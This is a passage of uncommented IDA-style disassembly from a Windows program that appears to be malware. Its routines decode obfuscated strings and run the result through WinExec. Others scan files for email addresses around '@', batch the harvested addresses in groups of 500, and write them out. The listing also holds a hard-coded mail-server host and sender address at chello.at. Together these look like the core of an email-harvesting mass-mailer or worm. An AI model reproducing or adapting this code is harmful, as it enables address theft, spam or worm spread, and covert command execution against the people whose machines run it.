		mov	eax, offset aOzqoSlqcevanzm ; "▌ї÷ў╡≥╚÷≈┘╒²ґї╛╘║╛∙▒єі²╘╡╚∙}╟╙╚÷╘╛▐÷ґ╚╒"...
		call	sub_415FAC
		mov	edx, [ebp+var_44]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_417068
		call	sub_403834
		jnz	short loc_416EA5
		push	0
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_4C]
		xor	edx, edx
		mov	eax, offset dword_417074
		call	sub_415FAC
		mov	ecx, [ebp+var_4C]
		lea	eax, [ebp+var_48]
		mov	edx, ds:dword_41EEF4
		call	sub_403770
		mov	eax, [ebp+var_48]
		xor	ecx, ecx
		xor	edx, edx
		call	sub_415EAC
		cmp	[ebp+var_C], 0
		jnz	loc_416F2D
		push	0
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_54]
		xor	edx, edx
		mov	eax, offset dword_41708C
		call	sub_415FAC
		mov	ecx, [ebp+var_54]
		lea	eax, [ebp+var_50]
		mov	edx, ds:dword_41EEF4
		call	sub_403770
		mov	eax, [ebp+var_50]
		xor	ecx, ecx
		xor	edx, edx
		call	sub_415EAC
		jmp	loc_416F2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416EA5:				; CODE XREF: sub_416C54+1D8j
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_4170A4
		call	sub_403834
		jnz	short loc_416EEA
		push	0
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_5C]
		xor	edx, edx
		mov	eax, offset dword_4170B0
		call	sub_415FAC
		mov	ecx, [ebp+var_5C]
		lea	eax, [ebp+var_58]
		mov	edx, ds:dword_41EEF4
		call	sub_403770
		mov	eax, [ebp+var_58]
		xor	ecx, ecx
		xor	edx, edx
		call	sub_415EAC
		jmp	short loc_416F2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416EEA:				; CODE XREF: sub_416C54+25Ej
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_4170C4
		call	sub_403834
		jnz	short loc_416F2D
		push	0
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_64]
		xor	edx, edx
		mov	eax, offset dword_4170D0
		call	sub_415FAC
		mov	ecx, [ebp+var_64]
		lea	eax, [ebp+var_60]
		mov	edx, ds:dword_41EEF4
		call	sub_403770
		mov	eax, [ebp+var_60]
		xor	ecx, ecx
		xor	edx, edx
		call	sub_415EAC

loc_416F2D:				; CODE XREF: sub_416C54+212j
					; sub_416C54+24Cj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_416F42
		lea	ecx, [ebp+var_C]
		xor	edx, edx
		mov	eax, offset dword_4170E4
		call	sub_415FAC

loc_416F42:				; CODE XREF: sub_416C54+2DDj
		push	1
		push	[ebp+var_C]
		push	offset dword_417114
		lea	edx, [ebp+var_6C]
		mov	eax, [ebp+var_10]
		call	sub_407424
		push	[ebp+var_6C]
		lea	eax, [ebp+var_68]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_68]
		call	sub_4038E8
		push	eax
		call	j_WinExec

loc_416F75:				; CODE XREF: sub_416C54+1AAj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416F97

loc_416F82:				; CODE XREF: CODE:00416F95j
		lea	eax, [ebp+var_6C]
		mov	edx, 1Bh
		call	sub_4034EC
		retn
sub_416C54	endp ; sp = -74h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416F90:				; DATA XREF: sub_416C54+21o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416F82
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416F97:				; DATA XREF: sub_416C54+329o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 1
dword_416FA4	dd 31h,	0FFFFFFFFh, 3	; DATA XREF: sub_416C54+34o
dword_416FB0	dd 374446h, 0FFFFFFFFh,	1 ; DATA XREF: sub_416C54+39o
dword_416FBC	dd 2Eh,	0FFFFFFFFh, 1	; DATA XREF: sub_416C54+63o
dword_416FC8	dd 5Ch,	0FFFFFFFFh, 4	; DATA XREF: sub_416C54+82o
aFb1b		db 'FB1B',0             ; DATA XREF: sub_416C54+E0o
		align 4
		dd 0FFFFFFFFh, 1
dword_416FE4	dd 35h,	0FFFFFFFFh, 5	; DATA XREF: sub_416C54+100o
aFb1bb		db 'FB1BB',0            ; DATA XREF: sub_416C54+11Bo
		align 4
		dd 0FFFFFFFFh, 1
dword_417000	dd 39h,	0FFFFFFFFh, 5	; DATA XREF: sub_416C54+13Bo
aFb1ba		db 'FB1BA',0            ; DATA XREF: sub_416C54+156o
		align 4
		dd 0FFFFFFFFh, 3
dword_41701C	dd 6D7F6Fh, 0FFFFFFFFh,	34h ; DATA XREF: sub_416C54+183o
aOzqoSlqcevanzm	db '▌ї÷ў╡≥╚÷≈┘╒²ґї╛╘║╛∙▒єі²╘╡╚∙}╟╙╚÷╘╛▐÷ґ╚╒╘╘■z╙╚X┴⌡╞═╛√',0
					; DATA XREF: sub_416C54+1B4o
		align 4
		dd 0FFFFFFFFh, 3
dword_417068	dd 6B766Eh, 0FFFFFFFFh,	0Ch ; DATA XREF: sub_416C54+1CEo
dword_417074	dd 697F796Ah, 40758282h, 6E768878h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_416C54+1E7o
dword_41708C	dd 76837F6Ah, 40757163h, 6E768878h, 0, 0FFFFFFFFh, 3
					; DATA XREF: sub_416C54+225o
dword_4170A4	dd 7B7382h, 0FFFFFFFFh,	0Ah ; DATA XREF: sub_416C54+254o
dword_4170B0	dd 75728656h, 88743C7Dh, 6A76h,	0FFFFFFFFh, 3 ;	DATA XREF: sub_416C54+26Do
dword_4170C4	dd 787084h, 0FFFFFFFFh,	0Bh ; DATA XREF: sub_416C54+299o
dword_4170D0	dd 8B7E7889h, 763E7F7Bh, 6C748Ah, 0FFFFFFFFh, 26h
					; DATA XREF: sub_416C54+2B2o
dword_4170E4	dd 90999F9Fh, 5E5E9699h, 91A38F5Bh, 91939D4Dh, 5E5E9699h
					; DATA XREF: sub_416C54+2E4o
		dd 98978E5Bh, 919B7959h, 8B9E6B9Bh, 70999F7Fh, 7679h, 0FFFFFFFFh
		dd 1
dword_417114	dd 20h			; DATA XREF: sub_416C54+2F3o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417118	proc near		; CODE XREF: sub_4171C0+D0p

var_158		= byte ptr -158h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEA8h
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4171B2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_158]
		call	sub_404E16
		mov	eax, ds:off_41DC30
		mov	byte ptr [eax],	0
		mov	edx, 1
		lea	eax, [ebp+var_158]
		call	sub_40510D
		call	sub_40265C
		xor	ebx, ebx

loc_417168:				; CODE XREF: sub_417118+71j
		lea	eax, [ebp+var_C]
		push	eax
		lea	edx, [ebp+var_5]
		mov	ecx, 1
		lea	eax, [ebp+var_158]
		call	sub_404EB8
		call	sub_40265C
		inc	ebx
		cmp	[ebp+var_C], 0
		jnz	short loc_417168
		lea	eax, [ebp+var_158]
		call	sub_404F80
		call	sub_40265C
		dec	ebx
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4171B9

loc_4171A9:				; CODE XREF: CODE:004171B7j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_417118	endp ; sp = -164h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4171B2:				; DATA XREF: sub_417118+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4171A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4171B9:				; DATA XREF: sub_417118+8Co
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4171C0	proc near		; CODE XREF: sub_4190CC+AA2p
					; start+563p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		mov	eax, [ebp+var_C]
		call	sub_4038D8
		mov	eax, [ebp+arg_C]
		call	sub_4038D8
		mov	eax, [ebp+arg_8]
		call	sub_4038D8
		mov	eax, [ebp+arg_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4172D2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		mov	edx, offset aFa2sc ; "FA2sc"
		call	sub_403560
		lea	eax, [ebp+var_10]
		mov	edx, offset aFa5michaela23@ ; "FA5michaela23@chello.at		      "...
		call	sub_403560
		lea	eax, [ebp+var_10]
		mov	edx, offset dword_417364
		call	sub_403560
		lea	eax, [ebp+var_10]
		mov	edx, offset aFa9mgate_chell ; "FA9mgate.chello.at		      "...
		call	sub_403560
		mov	bl, 1
		cmp	[ebp+arg_0], 0
		jz	short loc_417278
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, 2
		mov	edx, offset dword_4173E0
		mov	eax, [ebp+var_8]
		call	sub_416A1C
		mov	eax, [ebp+var_14]
		mov	edx, offset dword_4173EC
		call	sub_403834
		setnz	bl

loc_417278:				; CODE XREF: sub_4171C0+90j
		test	bl, bl
		jz	short loc_4172AA
		mov	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4173EC
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_417118
		push	eax
		push	1
		mov	al, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_416478

loc_4172AA:				; CODE XREF: sub_4171C0+BAj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4172D9

loc_4172B7:				; CODE XREF: CODE:004172D7j
		lea	eax, [ebp+var_14]
		mov	edx, 5
		call	sub_4034EC
		lea	eax, [ebp+arg_4]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_4171C0	endp ; sp = -40h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4172D2:				; DATA XREF: sub_4171C0+4Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4172B7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4172D9:				; DATA XREF: sub_4171C0+F2o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 5
aFa2sc		db 'FA2sc',0            ; DATA XREF: sub_4171C0+59o
		align 4
		dd 0FFFFFFFFh, 5Ch
aFa5michaela23@	db 'FA5michaela23@chello.at                                     '
					; DATA XREF: sub_4171C0+66o
		db '                                 ',0
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_417364	dd 31384146h, 31323733h, 202036h, 0FFFFFFFFh, 5Ch
					; DATA XREF: sub_4171C0+73o
aFa9mgate_chell	db 'FA9mgate.chello.at                                          '
					; DATA XREF: sub_4171C0+80o
		db '                                 ',0
		align 4
		dd 0FFFFFFFFh, 1
dword_4173E0	dd 32h,	0FFFFFFFFh, 2	; DATA XREF: sub_4171C0+9Bo
dword_4173EC	dd 6373h		; DATA XREF: sub_4171C0+ABo
					; sub_4171C0+C0o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4173F0	proc near		; CODE XREF: sub_4177BC+D5p
					; sub_4177BC+125p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		xor	eax, eax
		mov	[ebp+var_108], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4174A1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax-4]
		lea	edx, [ebp+var_104]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		call	sub_40296C
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_4036EC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax-8]
		push	[ebp+var_4]
		lea	ecx, [ebp+var_108]
		xor	edx, edx
		mov	eax, offset a9luv ; "9luv"
		call	sub_415FAC
		push	[ebp+var_108]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-0Ch]
		mov	edx, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+64h]
		mov	edx, 2
		mov	eax, [ebp+var_4]
		call	sub_4071B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4174A8

loc_41748D:				; CODE XREF: CODE:004174A6j
		lea	eax, [ebp+var_108]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_4173F0	endp ; sp = -11Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4174A1:				; DATA XREF: sub_4173F0+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41748D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4174A8:				; DATA XREF: sub_4173F0+98o
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 4
a9luv		db '9luv',0             ; DATA XREF: sub_4173F0+58o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4174BC	proc near		; CODE XREF: sub_4177BC+60p

var_958		= dword	ptr -958h
var_954		= dword	ptr -954h
var_950		= byte ptr -950h
var_150		= byte ptr -150h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF6A8h
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_958], edx
		mov	[ebp+var_954], edx
		mov	esi, eax
		mov	ebx, offset dword_41EEDC
		xor	eax, eax
		push	ebp
		push	offset loc_41759F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_4034C8
		lea	ecx, [ebp+var_954]
		mov	edx, esi
		mov	eax, ds:dword_41EF14
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		mov	edx, [ebp+var_954]
		lea	eax, [ebp+var_150]
		call	sub_404E16
		mov	edx, 1
		lea	eax, [ebp+var_150]
		call	sub_40510D
		call	sub_40265C

loc_417529:				; CODE XREF: sub_4174BC+B3j
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_950]
		mov	ecx, 800h
		lea	eax, [ebp+var_150]
		call	sub_404EB8
		call	sub_40265C
		lea	eax, [ebp+var_958]
		lea	edx, [ebp+var_950]
		mov	ecx, 800h
		call	sub_4035B0
		mov	edx, [ebp+var_958]
		mov	eax, ebx
		call	sub_40372C
		cmp	[ebp+var_4], 0
		jnz	short loc_417529
		lea	eax, [ebp+var_150]
		call	sub_404F80
		call	sub_40265C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4175A6

loc_41758E:				; CODE XREF: CODE:004175A4j
		lea	eax, [ebp+var_958]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_4174BC	endp ; sp = -968h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41759F:				; DATA XREF: sub_4174BC+23o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41758E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4175A6:				; DATA XREF: sub_4174BC+CDo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4175AC	proc near		; CODE XREF: sub_4177BC+65p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_417795
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp

loc_4175C7:				; CODE XREF: sub_4175AC+1C8j
		mov	edx, ds:dword_41EEDC
		mov	eax, offset dword_4177AC
		call	sub_4039B4
		mov	edi, eax
		test	edi, edi
		jle	loc_417772
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, edi
		sub	edx, 12h
		mov	ecx, 32h
		mov	eax, ds:dword_41EEDC
		call	sub_40392C
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_4177AC
		call	sub_4039B4
		mov	esi, eax
		dec	esi
		cmp	esi, 1
		jle	short loc_417678

loc_41761E:				; CODE XREF: sub_4175AC+CAj
		mov	eax, [ebp+var_4]
		mov	bl, [eax+esi-1]
		mov	eax, ebx
		add	al, 9Fh
		sub	al, 1Ah
		jb	short loc_417653
		mov	eax, [ebp+var_4]
		mov	eax, ebx
		add	al, 0BFh
		sub	al, 1Ah
		jb	short loc_417653
		mov	eax, [ebp+var_4]
		cmp	bl, 2Eh
		jz	short loc_417653
		mov	eax, [ebp+var_4]
		cmp	bl, 5Fh
		jz	short loc_417653
		mov	eax, [ebp+var_4]
		mov	eax, ebx
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_417670

loc_417653:				; CODE XREF: sub_4175AC+7Fj
					; sub_4175AC+8Aj ...
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		mov	edx, ebx
		call	sub_403670
		mov	edx, [ebp+var_10]
		lea	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		call	sub_403770
		jmp	short loc_417672
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417670:				; CODE XREF: sub_4175AC+A5j
		xor	esi, esi

loc_417672:				; CODE XREF: sub_4175AC+C2j
		dec	esi
		cmp	esi, 1
		jg	short loc_41761E

loc_417678:				; CODE XREF: sub_4175AC+70j
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_4177AC
		call	sub_4039B4
		mov	esi, eax
		inc	esi
		jmp	short loc_4176EC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41768A:				; CODE XREF: sub_4175AC+14Aj
		mov	eax, [ebp+var_4]
		mov	bl, [eax+esi-1]
		mov	eax, ebx
		add	al, 9Fh
		sub	al, 1Ah
		jb	short loc_4176C7
		mov	eax, [ebp+var_4]
		mov	eax, ebx
		add	al, 0BFh
		sub	al, 1Ah
		jb	short loc_4176C7
		mov	eax, [ebp+var_4]
		cmp	bl, 2Eh
		jz	short loc_4176C7
		mov	eax, [ebp+var_4]
		cmp	bl, 2Dh
		jz	short loc_4176C7
		mov	eax, [ebp+var_4]
		cmp	bl, 5Fh
		jz	short loc_4176C7
		mov	eax, [ebp+var_4]
		mov	eax, ebx
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_4176E1

loc_4176C7:				; CODE XREF: sub_4175AC+EBj
					; sub_4175AC+F6j ...
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	edx, ebx
		call	sub_403670
		mov	edx, [ebp+var_14]
		lea	eax, [ebp+var_C]
		call	sub_40372C
		jmp	short loc_4176EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4176E1:				; CODE XREF: sub_4175AC+119j
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	esi, eax

loc_4176EB:				; CODE XREF: sub_4175AC+133j
		inc	esi

loc_4176EC:				; CODE XREF: sub_4175AC+DCj
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	esi, eax
		jl	short loc_41768A
		push	[ebp+var_8]
		push	offset dword_4177AC
		push	[ebp+var_C]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 0D0h
		sub	al, 0Ah
		jb	short loc_417760
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_4177B8
		call	sub_4039B4
		test	eax, eax
		jle	short loc_417760
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	40h
		jz	short loc_417760
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	eax, 5
		jle	short loc_417760
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax-1], 40h
		jz	short loc_417760
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_41EF18
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]

loc_417760:				; CODE XREF: sub_4175AC+16Dj
					; sub_4175AC+17Ej ...
		lea	ecx, [edi+1]
		mov	eax, offset dword_41EEDC
		mov	edx, 1
		call	sub_40396C

loc_417772:				; CODE XREF: sub_4175AC+2Fj
		test	edi, edi
		jnz	loc_4175C7
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41779C

loc_417787:				; CODE XREF: CODE:0041779Aj
		lea	eax, [ebp+var_14]
		mov	edx, 5
		call	sub_4034EC
		retn
sub_4175AC	endp ; sp = -34h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417795:				; DATA XREF: sub_4175AC+10o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_417787
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41779C:				; DATA XREF: sub_4175AC+1D6o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_4177AC	dd 40h,	0FFFFFFFFh, 1	; DATA XREF: sub_4175AC+21o
					; sub_4175AC+60o ...
dword_4177B8	dd 2Eh			; DATA XREF: sub_4175AC+172o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4177BC	proc near		; CODE XREF: sub_417C88+63p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 4

loc_4177C4:				; CODE XREF: sub_4177BC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4177C4
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_417915
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_41EF18
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		mov	esi, eax
		test	esi, esi
		jl	short loc_41782A
		inc	esi
		xor	ebx, ebx

loc_41781A:				; CODE XREF: sub_4177BC+6Cj
		mov	eax, ebx
		call	sub_4174BC
		call	sub_4175AC
		inc	ebx
		dec	esi
		jnz	short loc_41781A

loc_41782A:				; CODE XREF: sub_4177BC+59j
		mov	eax, ds:dword_41EF18
		mov	edx, [eax]
		call	dword ptr [edx+7Ch]
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_41EF18
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	loc_4178DA
		mov	ebx, 1

loc_417853:				; CODE XREF: sub_4177BC+118j
		lea	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		call	sub_406D54
		mov	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_20]
		mov	edx, ebx
		mov	eax, ds:dword_41EF18
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_1C]
		call	sub_406D54
		mov	edx, [ebp+var_1C]
		pop	eax
		call	sub_403834
		jz	short loc_4178C3
		cmp	[ebp+var_10], 1F4h
		jnz	short loc_4178A6
		push	ebp
		call	sub_4173F0
		pop	ecx
		mov	eax, [ebp+var_C]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		xor	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_4178C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4178A6:				; CODE XREF: sub_4177BC+D2j
		lea	ecx, [ebp+var_24]
		mov	edx, ebx
		mov	eax, ds:dword_41EF18
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		inc	[ebp+var_10]

loc_4178C3:				; CODE XREF: sub_4177BC+C9j
					; sub_4177BC+E8j
		lea	ecx, [ebp+var_14]
		mov	edx, ebx
		mov	eax, ds:dword_41EF18
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		inc	ebx
		dec	esi
		jnz	loc_417853

loc_4178DA:				; CODE XREF: sub_4177BC+8Cj
		cmp	[ebp+var_10], 0
		jz	short loc_4178E7
		push	ebp
		call	sub_4173F0
		pop	ecx

loc_4178E7:				; CODE XREF: sub_4177BC+122j
		mov	eax, [ebp+var_C]
		call	sub_402BDC
		mov	ebx, [ebp+var_4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41791C

loc_4178FF:				; CODE XREF: CODE:0041791Aj
		lea	eax, [ebp+var_24]
		mov	edx, 5
		call	sub_4034EC
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		retn
sub_4177BC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417915:				; DATA XREF: sub_4177BC+21o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4178FF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41791C:				; DATA XREF: sub_4177BC+13Eo
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417928	proc near		; CODE XREF: sub_417928+111p
					; sub_417C20+3Dp ...

var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
